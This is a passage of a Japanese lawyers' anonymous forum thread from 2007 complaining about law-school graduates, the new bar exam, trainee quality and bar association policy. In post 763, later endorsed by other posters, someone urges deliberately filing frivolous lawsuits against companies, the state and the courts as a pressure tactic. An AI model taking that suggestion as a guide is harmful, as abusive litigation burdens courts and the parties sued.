695 :無責任な名無しさん:2007/01/07(日) 10:59:24 ID:NNvHLAU2
ロースクール生のエクスターンは,大手の事務所で受け入れても実習にならないという趣旨で,小規模の事務所に派遣されるケースが多い。
特に地方では。

696 :無責任な名無しさん:2007/01/07(日) 11:16:51 ID:NNvHLAU2
エクスターンを受け入れた事務所の先生から聞いた話では,

・請負と委任の基本的な区別がついていない
・遺留分を知らない
という知識レベルの問題がある奴から,

・知的財産権を勉強している新司法試験組が弁護士になると旧試験で通ってきた普通の弁護士は淘汰されると思っている
・破産管財人は食えない弁護士がやっていると思っている
という話を昼食時間中に事務員相手に延々とやって即日事務員から無視されてしまう奴や,

・昼食中に事件内容の話を大声で始める
・名刺をもらってすぐポケットに入れる
・最終日に義理のお礼も言わずに帰る
という奴など,

まあいろいろいたみたいだ。

697 :無責任な名無しさん:2007/01/07(日) 11:23:59 ID:NNvHLAU2
しかしロースクールも苦労しているのだろうと思う。
既習・未習と分けてはいるが,その中でもレベルはバラバラ。

未習の中に,既習よりできるが謙虚で自信がないために3年コースに来た奴がいたり,
たまたま既習認定の試験だけできてしまったがために2年コースに来てしまった奴がいたり。

大学ではよくあることだが,真面目に授業に出るバランスの悪い「カラ回りガリ勉タイプ」(研究者のほうが向いているタイプ)の学生が数人いて,単位を出さざるをえないから通常どおり卒業させざるをえない。
でも,こういう人は予備校を全く使わないので,新司法試験には受からないから,ロースクールの合格率を下げてしまう結果になるという。本当は受験してもらいたくないらしい。

そんなのを全部まとめて指導していけというのだから,そもそも無理な話。

698 :無責任な名無しさん:2007/01/07(日) 11:45:00 ID:dByIpFfh
弁護士激増→就職無し→自宅開業するにも会費がネックで登録もできず→強制加入廃止の流れへ→弁護士自治崩壊 今後、弁護士会は内部から崩壊する危険が大きい。このまま諦めて自滅するか、それとも今からでもなんとかしようとするか。

699 :無責任な名無しさん:2007/01/07(日) 11:45:19 ID:W/UWYUaY
エクスターンなんか弁護士会の役員室においときゃいいんだよ

700 :無責任な名無しさん:2007/01/07(日) 12:12:53 ID:UIt5Rw2P
島根とか香川の弁護士会に役員室なんてあるの?

701 :無責任な名無しさん:2007/01/07(日) 13:40:52 ID:vLQo5gbf
そんなものない。

小規模会の会館の場合、そんなもの作る余裕がない。

702 :無責任な名無しさん:2007/01/07(日) 13:42:27 ID:Zv2qevZF
>>700
地方の実情を知りもせず、最初から見下した態度でしか対応することが
できないやつはこの議論に参加するなよ。

703 :無責任な名無しさん:2007/01/07(日) 14:45:27 ID:pwiLqgE3
>>680
>ぶっちゃけ,人数が何人増えたっていいよ。
>市場原理の中で競争しろっていうなら,やったって構わない。
>ただ,質の低下だけは避けて欲しい。
>仕事がやりにくくなって仕方がないから。

ああ、分かるなあ。うちもエクスターンを受け入れた。
うちに来た人は上位国立のロー生。真面目な好青年だが、
いかんせん法律の基礎が弱すぎた。あれで事務所に入ってきても、
起案等仕事を任せるのは怖い。チェックと教育のために他の仕事が止まると思う。
新試験の合格率から考えて、そのくらいでも大量に受かるんじゃないだろうか。
その後、修習を終えるまでに見違えるほど実力が伸びるもんだろうか。
先端科目なんていいから、ローは民法だけでも徹底的に叩き込んでくれと思う。

704 :無責任な名無しさん:2007/01/07(日) 14:57:10 ID:qyD4m7qa
広く、浅くだもんな〜。
使えんよ。

705 :無責任な名無しさん:2007/01/07(日) 15:04:44 ID:W/UWYUaY
研修所が間引くと思われ

706 :無責任な名無しさん:2007/01/07(日) 18:05:43 ID:vN/9J5Op
新司法試験では合格順位(何番で受かったか)が全員に通知されるそうですよ。
上位10%以内で合格した人と下位10%で合格した人とでは同じ合格者でもかなり実力に差がありそうですね。

707 :無責任な名無しさん:2007/01/07(日) 18:14:57 ID:NNvHLAU2
研修所で半分を不合格にしてくれればいい。

708 :無責任な名無しさん:2007/01/07(日) 18:21:34 ID:TrXEeqxk
>>706
> 新司法試験では合格順位(何番で受かったか)が全員に通知されるそうですよ。


2006年から旧司法試験も合格順位が全員に通知されていますよ。

2005年以前に受かった人も情報開示請求すれば教えてもらえますよ。

709 :無責任な名無しさん:2007/01/07(日) 18:26:14 ID:nOqOL1WO
以前開示請求したが教えてくれなかったぞ。
1通平均28点ぐらいで受かったということしか分からなかった。

710 :無責任な名無しさん:2007/01/07(日) 18:44:14 ID:vnt24oQV
ああ、ローの子達って
自分たちが十分できると思ってんのが
痛々しいよな
「君、宅建並だよ!」って何度言って聞かせたかったことか

711 :無責任な名無しさん:2007/01/07(日) 18:44:59 ID:NNvHLAU2
>>709
昔された試験の結果についても,最近取扱が変わっていて,今は開示される事項が増えているようです。
昭和52年くらいからの試験結果は管理委員会に保存されているそうなので,興味がある先生はぜひどうぞー。

712 :無責任な名無しさん:2007/01/07(日) 18:45:34 ID:UIt5Rw2P
途中で開示の範囲が変わってる。
今取り直したら択一、論文の順位も(丙案対象者以外)合否に関わらず分かる。

俺はかなり時間が掛かったが、択一だけなら在学中合格(しかも上位10%以内)だった・・・orz

713 :無責任な名無しさん:2007/01/07(日) 18:57:15 ID:NNvHLAU2
>>710
旧試験で最近合格した人らを見下している変な人がローには少なからずいるようです。
「新60期よりも旧60期のほうが優先的に採用されるべきなのに,旧試験を受かってきている経営者は,みんな見る目がない」などと言うのもいるようです。


714 :無責任な名無しさん:2007/01/07(日) 19:08:44 ID:W/UWYUaY
どうして司法書士以下の人間が弁護士になれるのか不思議

715 :無責任な名無しさん:2007/01/07(日) 19:10:33 ID:UIt5Rw2P
結局、弁護士になった後に事務所内で教育しなければいけないですね。

今でもそういう面はあるが、あくまで実務的な話をすればよかったのに
今後は基礎教育も事務所の負担となるわけで・・・

716 :無責任な名無しさん:2007/01/07(日) 19:12:05 ID:o1FWyj5d
新試験の連中が就職なくっていきなり宅弁などと
考えただけで恐ろしい

717 :無責任な名無しさん:2007/01/07(日) 19:16:56 ID:KjK6AUSL
>>710
教える側にも問題があって勘違いするんだろう。
5条研修で学者はずば抜けて出来が悪かったと聞いている。
簡単な基礎知識のテストが出来ないそうだ。

718 :無責任な名無しさん:2007/01/07(日) 19:41:21 ID:vlIQmA7Y
「冒頭陳述に対する認否書」を起案した修習生にはマジ引いた_| ̄|○

719 :無責任な名無しさん:2007/01/07(日) 20:24:45 ID:LxaxvrWd
>>714
これからの合格者が司法書士以下だって?冗談言うな、書士が怒るよ。
どこかのローに入ろうと思えば入れる。上位10校除き事実上ローはほとんど全入り状態。
それで最終的に最低半分が法曹なれる。

いいか、これからの法曹は行書(倍率40倍)よりもはるかに簡単になれるんだよ。
これからは安月給の代名詞が弁護士、分かる?
福利厚生なし、退職金なし、健康保険なし、交通費自己負担、有給休暇なし、土日なし・・・。
ああみじめ(笑)。
弁護士の年収1000万=サラリーマンの年収600万。

おい、みんな、これが30歳まで学生やってたやつらの稼ぎやで(笑)!!
一生アパート住まい(笑)!!

720 :無責任な名無しさん:2007/01/07(日) 20:27:37 ID:UIt5Rw2P
>>718
それ、1、2年前に弁護士が裁判所に提出しようとした例もあったような。
確か裁判所は面食らいながらも「意見書」として受け取ったと思う。

そういえば、たまに「冒頭陳述に対する認否」をさせる裁判官がいるね。
あれってどう思う?

721 :無責任な名無しさん:2007/01/07(日) 20:38:40 ID:3b/OMLt3
>>720
修習生の頃の模擬裁で,弁護側冒陳として実質的な認否したよ。
争点の明確化って意味では公判前と共通してていいんじゃないか。

実際には絶対やらんけどw

722 :無責任な名無しさん:2007/01/07(日) 20:40:27 ID:ihU3PcXb
>>708
これですね。
http://www.moj.go.jp/DISCLOSE/disclose05-04.html

723 :無責任な名無しさん:2007/01/07(日) 20:40:42 ID:qyD4m7qa
冒頭陳述はともかく、公判前の証明予定事実に対する認否は
してるけど。裁判官が聞くからさ。
そんなことするなと怒られそうだけど。

724 :無責任な名無しさん:2007/01/07(日) 20:40:53 ID:OEHqaS+o
おいおい
本当にそんなに酷いのかな?
資格与えてしまったらもうどうしようもないな

725 :無責任な名無しさん:2007/01/07(日) 21:03:27 ID:VDlJdjtH
>>719
マジレスするけど、確かに下位ローには誰でも入れるけど、新試合格者数はどこもほぼ0に等しくなる(上位、中位、下位ロー合わせて合格率25%になるのだから当然。)
逆に、東大、一橋、慶應等の優秀と言われているローは30%〜40%程度だと思うけど。
っていうか、年間1500人合格が3000人になるだけなんだから、単純計算でも劇的に易化するなんてことは有り得ないは分かるでしょ。
法曹志願者が激減しているわけでもないし、分母はそこまで変わらないんだから。
さらに、その3000人も司法研修所でけっこう削られるみたいだし。
一発で削るか、ロー、新試、司法研修でじわじわ削っていくかの違いだよ。
確かに簡単にはなったが、アホでも受かる試験なわけがない。

726 :休憩中 ◆tr.t4dJfuU :2007/01/07(日) 21:09:16 ID:64wa+vwc
教える立場だから無責任だと思うが酷いレベルだよ。
新試験の合格者でも旧試験の択一にも通らないだろうレベルがほとんど。

単位厳しくしても必修じゃないし・・・

727 :無責任な名無しさん:2007/01/07(日) 21:30:47 ID:vN/9J5Op
1500と3000じゃ全く違うでしょ。1500だと10年で15000人(それでも多いが)
3000だと10年で30000人も!!受かる。10年で倍増だぜ。昔なら30000人受かるのに60年かかった訳だから。
ある年だけ多いんじゃなくて毎年大量に受かるのだから、サラ金の利息とはちょっと違うけど合格者総数は
どんどん雪だるま式に膨らんでいく。
経済力のない人はロースクールには行かないし、滞留がなくなるから合格者のレベルはうんと下がる。
いくら研修所で落とすと言っても限度があるでしょ。おそらくそんなに沢山は落とせない。
せいぜい2割くらいじゃないか。


728 :無責任な名無しさん:2007/01/07(日) 21:35:19 ID:o1FWyj5d
おいおい
1500でも十分レベル落ちてるのにまだ落ちるのかよ

729 :725:2007/01/07(日) 21:35:44 ID:VDlJdjtH
>>727
いや、旧試とあまり変わらないとは決して言ってないよ。
すまない、伝わりにくかったかな。
ただ719に対して、行書より簡単なのはさすがに無いと言いたかっただけだよ。

730 :無責任な名無しさん:2007/01/07(日) 21:40:29 ID:vN/9J5Op
まあ、行書より簡単ってのはさすがにないと思うが、しかし3000番というと従来の試験でいうと
総合Eで合格って事だよね。総合Eっていったら論文初受験でもそれくらいはいきますよ。
あの程度で合格って言うのも恐ろしい話だ。

731 :無責任な名無しさん:2007/01/07(日) 21:47:35 ID:TrXEeqxk
総合Eなんて一夜漬けでも取れるよな。

まあだからこそ一夜漬けで受かっちゃわないように
2年間拘束することにしたんだろうけど。

でも2年間拘束することにしちゃうと
志願者が減ってよけいにレベル低下しちゃうきもするが。

732 :休憩中 ◆tr.t4dJfuU :2007/01/07(日) 21:52:45 ID:64wa+vwc
論文初受験のレベル(総合FとかGにしても)に達している新司合格者は半分にも
満たないだろう。

母集団のレベル低下が深刻だと思う。

733 :無責任な名無しさん:2007/01/07(日) 22:00:58 ID:Fgngjs1y
あれだ、裁判員制度実施に向けて簡明迅速処理を目指すため、ローでは黙秘権のなんたるかを教えてないんだよ。
で、検察官の冒頭陳述記載事実に乗っけて淡々と審理を進める法曹三者を大量育成して安価に事件処理する。
法務省の思惑通りで、めでたしめでたしじゃね?

734 :無責任な名無しさん:2007/01/07(日) 23:26:00 ID:DM60EJQC
>>732
同感。
あのレベル低下を,誰を止めようとしないのも問題。
我々としては”雇わない”という手段で,降りかかる火の粉を払うしかないが,
登録即開業の軒弁・宅弁の弁護過誤で大変な被害が出ると思う。
さらに,肝心の新司合格者にその自覚がないのが危険。


735 :無責任な名無しさん:2007/01/07(日) 23:31:51 ID:NNvHLAU2
ロースクール生の実態を知らない人は,ぜひ実務家教員として接してみてほしい。
このうち何割かが弁護士になるかと思うと,将来が真っ暗になるよ。

736 :無責任な名無しさん:2007/01/07(日) 23:37:31 ID:vlIQmA7Y
2回試験が質の最終ストッパーとして新司法1期は500人落とすかもです。
3人に1人だから3000人時代は1000人が不合格の悪寒。

737 :休憩中 ◆tr.t4dJfuU :2007/01/07(日) 23:55:11 ID:64wa+vwc
半数以上を落としてもどうかな・・・
基礎がないところに実務教育しても無駄。

本当に極端な話,心裡留保と錯誤の定義が言えない者,両者の区別が付いていないものも
新司合格者に紛れ込んでいる。
契約締結上の過失・担保責任・債務不履行・危険負担のあたりにいって契約責任説を云々
するのはまだまっしな方でこのへんの区別は怪しいのがウジャウジャ。今年受験する未習
なんてほんとにこんなんばっか。

簡裁の司法書士代理を相手にするようにこっちで相手の主張・要件事実・証拠の整理をさ
せられる悪寒。。。

738 :無責任な名無しさん:2007/01/08(月) 00:09:18 ID:QyQF+UfH
今思えば,旧試験って,機会の平等が保障されていて,落ちることによって知識と精神が鍛えられ,受かるべきときにようやく受かる,イイ試験だったなあ。

739 :無責任な名無しさん:2007/01/08(月) 00:17:49 ID:fCp7lSvG
ローベンは酷すぎる

740 :無責任な名無しさん:2007/01/08(月) 00:33:55 ID:qBvkBMc0
>機会の平等が保障されていて

月給12万円アルバイトで食い繋いで旧試は漏れも合格できたし。
これでローの学費出せっていわれたら,とっくにリタイアしていた。

>落ちることによって知識と精神が鍛えられ

忍耐力と精進努力を要する試験だったなー(遠い目。
大言壮語の見掛け倒しは絶対に受からなかったし。
マグレで受かった同期はしっかり2回試験留保だったし。

こうなったら2回試験も三振制限にしてビシビシがいいかも。

741 :無責任な名無しさん:2007/01/08(月) 00:38:13 ID:ukZ8hiCD
>>737
自由競争と淘汰を考えているのなら、
おっしゃるよう合格者が出現してもいい方向に敢えて制度を変えたんだろう。

自由競争による淘汰を予定
=淘汰されるべき人間がローを卒業できて司法試験に合格できて世に放たれる予定

なんだから。ロー設立の意味はドコに・・・?

742 :無責任な名無しさん:2007/01/08(月) 00:40:48 ID:LeehZW3y
>>741
淘汰されていく過程で被害者がたくさんでるのが困るよ。
未熟な外科医が患者を切り刻みながら競争していく感じ。
考えるとぞっとする。

743 :無責任な名無しさん:2007/01/08(月) 00:43:55 ID:TPlJ51Sy
>>740
おれは月収7万円に押さえて受かったなあ

744 :無責任な名無しさん:2007/01/08(月) 00:47:57 ID:s956zHrv
今はたいてい裁判官が救済して駄目な弁護士にあたった依頼者も助かってるが,
今後はどうなるんだろうな。
救済にも限度があるだろうが・・・

745 :無責任な名無しさん:2007/01/08(月) 00:50:50 ID:0VKO+FD+
未熟な外科医ならいいが、外科医でもない可能性が高い。

746 :無責任な名無しさん:2007/01/08(月) 00:51:17 ID:qBvkBMc0
>>743
それは素晴らしいです。
漏れは東京で風呂なしトイレ共同の下宿でしたが,
答練の費用を稼ぐ必要があって。

747 :無責任な名無しさん:2007/01/08(月) 00:52:50 ID:qBvkBMc0
>>744
境界確定訴訟で「原告の請求を棄却する」という裁判官が増えそうな悪寒

748 :無責任な名無しさん:2007/01/08(月) 01:00:15 ID:s956zHrv
>>747
それは困るw
正直今の”やさしい裁判所”には辟易してるので,
要件落としたりしてる訴状があればがんがん棄却してほしい。

749 :無責任な名無しさん:2007/01/08(月) 01:27:17 ID:+FGsBR7d
うちの事務所はインターンを受け入れたり添削をしたりしているが、
休憩中 ◆tr.t4dJfuU 氏の書いていることはまさに現場で起こっていることだ。
信じられないならロー教員をしている弁護士に聞いてみてほしい。
修習も簡略化されているだろうから教育の負担は我々にのしかかってくる。
まったく間抜けな制度にしたもんだ。

バッチ付きの作業員を大量に投入できるタイプの事務所にはいいかもしれん。
一事務所の立場で言えば、債務整理をやってきた事務員の代わりに安月給で大量投入し、
仕事が無くなってきたらまとめて整理するようなビジネスモデルもありだろう。
マクロでみれば三百代言もどきの跳梁跋扈は避けられなくなる。

750 :無責任な名無しさん:2007/01/08(月) 01:27:48 ID:QyQF+UfH
>>748
裁判官が優秀ならそれでもいいけど・・・

751 :無責任な名無しさん:2007/01/08(月) 01:30:52 ID:K7FUnseo
まあ徐々にアメリカみたいに近づくんじゃないの
その前に隣接法律資格は全敗して欲しいけど
しかし執行部の無能には腹がたつなあ


H先生ってご高齢なのに頑張って会長になられたけど
やぱり無理があったよ

752 :無責任な名無しさん:2007/01/08(月) 01:39:24 ID:K7FUnseo
かと言ってK先生やT先生が会長になられてても直ちに流れは変わっていないでしょうが
少なくとも日弁連現執行部の現状追認姿勢は容認し難いものがあります

ところで学者出身の先生とお話する機会がありましたが
専門分野以外の知識不足には唖然とするものがあります

また研修所では今年はかろうじて前期教育があったようですが来年からは前期教育全廃だそうですね


本当にやばいやばいと思いますよ

753 :無責任な名無しさん:2007/01/08(月) 01:53:35 ID:Vd98DNNx
>>752
>また研修所では今年はかろうじて前期教育があったようですが来年からは前期教育全廃だそうですね

旧試験組は最後まで前期修習はあるのでは。

新試験組は、一期は1ヶ月の導入があり、二期(19年合格者)からは完全に前期廃止だったかと。


754 :無責任な名無しさん:2007/01/08(月) 02:04:26 ID:PJnk7l0Q
就寝前のの某ロー生ですが、ちょっとお邪魔します。法学部出身ですが,この制度に疑問を感じつつも
法曹になるための手段として飛び込みました。旧試験がなくなる可能性が高いこの時代に新卒の学生は
ロースクールに進学するのが自然だと思います。基礎体力がないと言われればそれまでですが,「新だから」
という理由だけで相手にしないといったことはやめて頂きたいと思います。

755 :無責任な名無しさん:2007/01/08(月) 02:11:06 ID:K7FUnseo
>>754
個別のロースクール生を非難しているのではなく,制度自体の合理性を云々していることを理解してください
学生は被害者でしょう
ところで ご自分“基礎体力がないと言われればそれまで”と言ってしまえば終わりですよ
アメリカでは法曹資格をとっても法曹職にはなれない者の方が遙かに多いことをはご存じかと思います。
貴方の周りがどうであれ,自分にとって最大限度の壁を破るまで勉強してください


756 :無責任な名無しさん:2007/01/08(月) 02:12:22 ID:WaMKqGRM
ロー卒しかいなくなる時代になれば、そりゃ考え方も変わるだろうけどな。
今はまだ現行試験もあるんだから、ちゃんと勉強して現行で合格すること考えれば?

757 :無責任な名無しさん:2007/01/08(月) 02:13:04 ID:+FGsBR7d
>>754
ローに入った人そのものでなく制度を批判(皮肉か)をしています。
今後法曹になろうとしたらロー経由しかないわけで、どこの事務所も
新司法試験出身者を採用することになります。
それだけにこの制度をもっとまともなものに出来ないかと関心を持っているのです。


758 :無責任な名無しさん:2007/01/08(月) 02:18:39 ID:PJnk7l0Q
基礎体力の重要性は重々承知しているつもりです。すぐ忘れてしまう自分が嫌になるのですが
回す度に理解が深まり記憶が定着している感じは味わえるのでコツコツ続けていきます。
非弁書き込みで申し訳ありませんでした。
また覗かせて頂きます。失礼します。

759 :休憩中 ◆tr.t4dJfuU :2007/01/08(月) 02:18:41 ID:46shZo77
>754
君だって旧試験では受からないと思ってローに行くわけだろ?

こういうところだから本音で書くよ。
相手にするところはあるかも知れないが私のところはお断りだ。
学生には厳しいかもしれないが,採るなら実力が落ちていると言われても旧試験
組だ。
君もわかっているようだが,これは新では「基礎体力がない」からだ。


760 :無責任な名無しさん:2007/01/08(月) 02:21:29 ID:K7FUnseo
それにしても我々自身の無関心無策が現状の結果を招いていることは否定できないでしょう

例えば法テラスの理事長になぜ金平さんがなったのか
なぜ弁護士側からこれぞという人を送り込めなかったのか

初代理事長っていうのは結構大事だと思いますよ
最高裁と法務省との駆け引きもあったでしょうが弁護士会がうんと言わなければ始まらない制度だった





761 :無責任な名無しさん:2007/01/08(月) 03:01:38 ID:TPlJ51Sy
いずれにしても,基本法の基本条文=要件・効果の体系的理解と基本的当てはめ能力が基礎技術で,これが出来ない
ものには法解釈のプロとしての資格はない。
それを要請できない,試すことが出来ない教育システム,試験は欠陥だということだ。
現行ロースクールがどうなのかは,私は全く関与していないので判断しかねるが,上記事実は当然のこと

762 :無責任な名無しさん:2007/01/08(月) 03:02:14 ID:TPlJ51Sy
×要請
○養成

763 :無責任な名無しさん:2007/01/08(月) 09:19:13 ID:qpZpgjwW
誰もが1500でもおかしいと思ってるのに,
3000になるのをそのまま放置しておいて良いわけないよ。
少しづつでも撤回の方向に動かさなきゃ。

第一,法曹養成機関であるロースクールで,
どうして司法試験に合格してもいない,法曹(法学者ではなく)経験もない
学者が教ることができるのかが理解できない。

若手の弁護士さんにはドンドン濫訴をしてもらって,
とくに経済界に対しては少額の一部請求の訴訟をしてもらい
(勝てそうならば請求の趣旨拡張),
経済界にも「このまま弁護士が増えたらとんでもないことになる」
という状況を分かってもらう。
国に対してもドンドン訴訟。国にも危機感を持ってもらう。
裁判所にも濫訴にウンザリしてもらう。

「マスコミなんぞ意識してはいけない」というご意見もあったけど
既存弁護士の意見としてだけではなく,世論を形成するためにも
マスコミに着目してもらう必要はあるでしょう。
ここで言ってるだけでは仕方がないし,かといって
弁護士会に言っても,「司法改革」容認の流れにのって黙殺される
可能性が著しく高いんだから。

764 :無責任な名無しさん:2007/01/08(月) 09:22:38 ID:qBvkBMc0
>若手の弁護士さんにはドンドン濫訴をしてもらって,
>とくに経済界に対しては少額の一部請求の訴訟をしてもらい
>(勝てそうならば請求の趣旨拡張),
>経済界にも「このまま弁護士が増えたらとんでもないことになる」
>という状況を分かってもらう。
>国に対してもドンドン訴訟。国にも危機感を持ってもらう。
>裁判所にも濫訴にウンザリしてもらう。

グッドアイデアです。
コスト至上主義の経済界と手間削減躍起の裁判所には効果テキメンと思われます。

765 :無責任な名無しさん:2007/01/08(月) 09:39:24 ID:QyQF+UfH
くだらない国賠の濫訴で,法務省も困らせないとだめよ。


766 :無責任な名無しさん:2007/01/08(月) 09:40:45 ID:QyQF+UfH
>>759
拙者も同感。

個人事業主としては,なるべくリスクの低い新人を採用しなければならない。
となれば,まず新試験組はそれだけで却下だ。

767 :無責任な名無しさん:2007/01/08(月) 09:43:09 ID:ukZ8hiCD
日経に某大学の論説が載っている。

アメリカに見習うらしい。

768 :無責任な名無しさん:2007/01/08(月) 10:39:30 ID:nIhl1D/Q
今後は求人減ると思うよ。
今は駆け込み需要でそこそこ就職出来てるけど。
今年に限らず今後の就職率は半分切るだろう。

769 :無責任な名無しさん:2007/01/08(月) 10:50:54 ID:md6dQojl
安倍首相は狂ってるよね
敗戦後の日本全否定してるのに自分はアメリカの真似ばっか

770 :無責任な名無しさん:2007/01/08(月) 11:10:44 ID:SEV2b87C
>>769
敗戦後の日本の全否定というのは安直な見方。
単に中韓にはこれ以上擦り寄らないというだけのスタンス。
中韓を敵に回すなら、米の機嫌取りでもしないと日本は生き残れない。
それとも今から露と組むか?

771 :氏名黙秘:2007/01/08(月) 12:54:43 ID:qeZjC231
ロー教授「実務家のみなさん、ロー卒弁護士の教育、しっかり頼みますよ。法律実務に携わるあなたがたが
    ロー卒弁護士をしっかり教育してもらわないと、多くの国民が被害を被るんです。
    ロー卒弁護士が今後弁論過誤を引き起こせば、彼らをOJTした先輩弁護士の責任とマスコミは
    叩きますよ。
    ロー卒弁護士が成功するもしないも、今後彼らを教育するあなたがたの頑張りにかかっているんです」

772 :無責任な名無しさん:2007/01/08(月) 13:06:11 ID:ngGcV1PY
今朝の毎日新聞関西版の一面に、大阪弁護士会が、自治体や企業に
「弁護士の卵雇って」と呼びかけるという記事。ネットでは見つからず。

773 :無責任な名無しさん:2007/01/08(月) 13:23:58 ID:TDvy4/j1
大阪は希望者が多いのに受入先が少ないからね。
今や本庁所在地だと程度の差こそあれどこでもそんな感じか?


774 :無責任な名無しさん:2007/01/08(月) 13:43:26 ID:jtj++h/G
別に合格時点で勉強が終わるわけでもないし、昔の試験がいくら高いハードルだからって、
そんなものに10年もかけてた人が今の24歳で受かるロー生より弁護過誤のリスクが低い
と言えるのかね? 競争激化に備えて新参をいじめて排除したいのが本音だろw

775 :無責任な名無しさん:2007/01/08(月) 13:55:29 ID:E8gnJ5Wd
>>772
形だけだろ
もう遅い

776 :無責任な名無しさん:2007/01/08(月) 14:11:27 ID:jtj++h/G
ロー卒組の中で旧制度を選択できたのはせいぜい1期生2期生までだろ。
それも学部2年を本格的勉強開始時期としても、勉強開始後2年ほどで旧合格が
濃厚なレベルの人間に限られる。浪人するくらいなら体面もあるからローに行くだろうし。

ほとんど選択可能性がないのに、ローに行ったからと嫌われてはたまったものではないね。
今の実務家がそういう態度を取るなら、ロー世代はプロボノなんて一切協力せんよ。
おじいさんおっさんだけでやってよね。



777 :無責任な名無しさん:2007/01/08(月) 14:18:56 ID:+dShQ+6u
ローに行ったから嫌われてるんじゃないよ。
経営者としては,実力があれば旧でも新でも採る。
とにかく,最低限の勉強をしてから現場に来い。それだけ。

全員とは言わないが,それが出来てない人の割合が高すぎることに,
多くの人が危機感を持ってる。
その空気は読んで欲しい。


778 :無責任な名無しさん:2007/01/08(月) 14:21:07 ID:TPlJ51Sy
>>774
勉強するにも最低限の基礎技術はいるんだよ
判る?

779 :無責任な名無しさん:2007/01/08(月) 14:25:00 ID:0VKO+FD+
>>774
旧試験で合格まで時間がかかった人をなめているようだが
君らよりは基礎力が相当あったのだよ。

780 :無責任な名無しさん:2007/01/08(月) 14:32:41 ID:qeZjC231
>>772
今朝の毎日新聞関西版の一面に、大阪弁護士会が、自治体や企業に
「弁護士の卵雇って」と呼びかけるという記事。

その前に弁護士会は増員・ロー制度賛成決議だしたことを世間に謝罪すべき。
ロー作って学生確保した以上、あとで弁護士の需要がないことが判明しても
減らすに減らせなくなることは小学生でも分かるよ。

「企業の採用者のみなさん、自分ら弁護士の失敗のケツ拭いてください」っていってるようなもん。


781 :無責任な名無しさん:2007/01/08(月) 14:37:42 ID:jtj++h/G
>>777
実力を見極めるとかじゃなしにおまえらの言ってることは旧があるうちは
リスク回避のために新は採らないってことだろ。

だったらこっちはそれなりの考え方でやらせてもらうよって言ってるだけ。

弁護士会のボランティアを厭わない雰囲気というのは先輩から受けた恩義が
大きな原因になってたはずだ。制度設計に欠陥があるだけで、責任もない
われわれを継子扱いするのなら、そういう雰囲気は今後は維持できないよ。
最初からちゃんとした給料をくれる大規模事務所への志向も強くなるだろうしね。

782 :無責任な名無しさん:2007/01/08(月) 14:43:58 ID:qpZpgjwW
・法律事務所から徒歩1分の路上で入所希望者が口から血を吐いて倒れていた
・足元がグニャリとしたのでじゅうたんをめくってみると入所希望者が転がっていた
・「そんな厳しいわけがない」といって事務所の門を叩いた修習生が5分後血まみれで戻ってきた
・上位ロー合格者ならば安全だろうと思っていら不合格になった上,イソ弁から再就職先を依頼された
・上位ロー若手合格者なら大丈夫だろうと思っていたら入所希望者全員が上位ロー卒若手合格者で早生まれだった
・入所したばかりの弁護士が襲撃され、弁護士バッジを割られた上,事務員の席に座らされていた
・新卒弁護士の給与が−10万円、というか研修費名目でボス弁に月10万円を支払ってる
・内定事務所が大手事務所に襲撃され、軒弁イソ弁もボス弁も全員失業した
・最近流行っている採用は「過疎商法」 ボス弁が過疎地赴任弁護士の報酬金100万円をもらったあと過疎地に追いやられるから
・二回試験の不合格率が150%。一度不合格になってまた再試で不合格になる確率が50%の意味
・研修所卒業生による失業者は1年平均5000人、うち約2000人がいったん事務所に雇用された後,2年未満で事務所を解雇された弁護士

783 :無責任な名無しさん:2007/01/08(月) 14:46:17 ID:jtj++h/G
>>782
不動産鑑定士の2次合格者なんかはそういう実態だったわけだけど、奴隷搾取があまりにひどいから
お上に3次試験廃止されちゃったろ。悪いことなんていつまでも続かないよ。
先に受かったからといい気になってりゃいいさ。


784 :無責任な名無しさん:2007/01/08(月) 14:46:43 ID:WaMKqGRM
2回試験って1発不合格になるんじゃないの?

785 :無責任な名無しさん:2007/01/08(月) 14:48:15 ID:5MNwxT2S
新旧議論はやめよう。
まだなんもわからない。


それと、ここで新の人が何を言っても四面楚歌。
やめましょう。


786 :無責任な名無しさん:2007/01/08(月) 14:49:27 ID:Bh6kLC+Y
ここは弁護士が本音を語るスレです

787 :無責任な名無しさん:2007/01/08(月) 14:54:35 ID:jtj++h/G
>>785
やめたければあんたが見なければいいだけ。
いちいち人の発言を封じようとするとはニュー速と何も変わらないね。
バカな人たちだ。

788 :無責任な名無しさん:2007/01/08(月) 14:54:57 ID:woullHc0
なんにしても、俺が望むのは、仕事は簡単、収入いぱーいという感じ。

789 :無責任な名無しさん:2007/01/08(月) 14:57:31 ID:jtj++h/G
だいたい新の実務家なんてまだおらんし、新の修習だって始まったばかりだ。
どこから新の合格者がひどいのなんのという情報がまわってくんのかね。
ローの講師やってるとかエクスターンの人受け入れてるとかはあるかもしれんけど、
どうせあんたら程度で講師できるローってほとんど合格者出さないでしょw
東一早慶京くらいの講師やってから言ってよw

790 :無責任な名無しさん:2007/01/08(月) 14:58:00 ID:iApu4SLb
>>772
求人150で求職250らしい。

791 :無責任な名無しさん:2007/01/08(月) 15:01:49 ID:5MNwxT2S
>>759
まだ新司合格者は一期生だけですが、
旧司の勉強をやっていた人間が大半の一期生を見ただけで、
そこまで言えてしまう根拠は何でしょう。

私はどっちも大差ないと思いますよ。
ただ、新については、修習期間の短縮、
特に前期なしというのが不安です。


792 :無責任な名無しさん:2007/01/08(月) 15:02:47 ID:ngGcV1PY
>>790
> ただ、自治体や企業の採用意欲はさほど
>強くなく「実務経験者ならともかく……」
>との声も。同会の檜垣誠次副会長は「地方
>は弁護士が不足しているが、需要には限界
>があり、いずれ全国的な問題になる。国も
>何らかの対策をとってほしい」と話す。

国がとれるもっとも有効な対策は合格者減だが。

793 :無責任な名無しさん:2007/01/08(月) 15:10:32 ID:e3Osm2xc
そんなに求人あらへんで。ここ数年新規登録100〜120位で、去年さんざん押し込んで10月登録128人や。
大阪のキャパはそんなもんやって。去年までの反動があるとしたら、もっとヤバイ。

794 :無責任な名無しさん:2007/01/08(月) 16:01:34 ID:6IEySpC0
弁護士会や日弁連が何と言おうと,新を採用しないことがロー改善への近道。
だから,うちはキャパがあるけど新は採らない。

795 :無責任な名無しさん:2007/01/08(月) 16:08:43 ID:ukZ8hiCD
>>789
優秀な人材なら、ローだろうと旧だろうと専門卒だろうとアチコチで使ってもらえると思う。
敵意むき出しになる必要はないだろう。


ただし、
旧試験組と比べると実力が劣るけど、俺たちは制度上仕方なかったんだ。だから旧試験組と同じ従来の待遇を
しろ

というのなら、コレは筋違いの甘えん坊じゃないか?偉そうな口を叩くなら、なおさら、実力で示すべき。

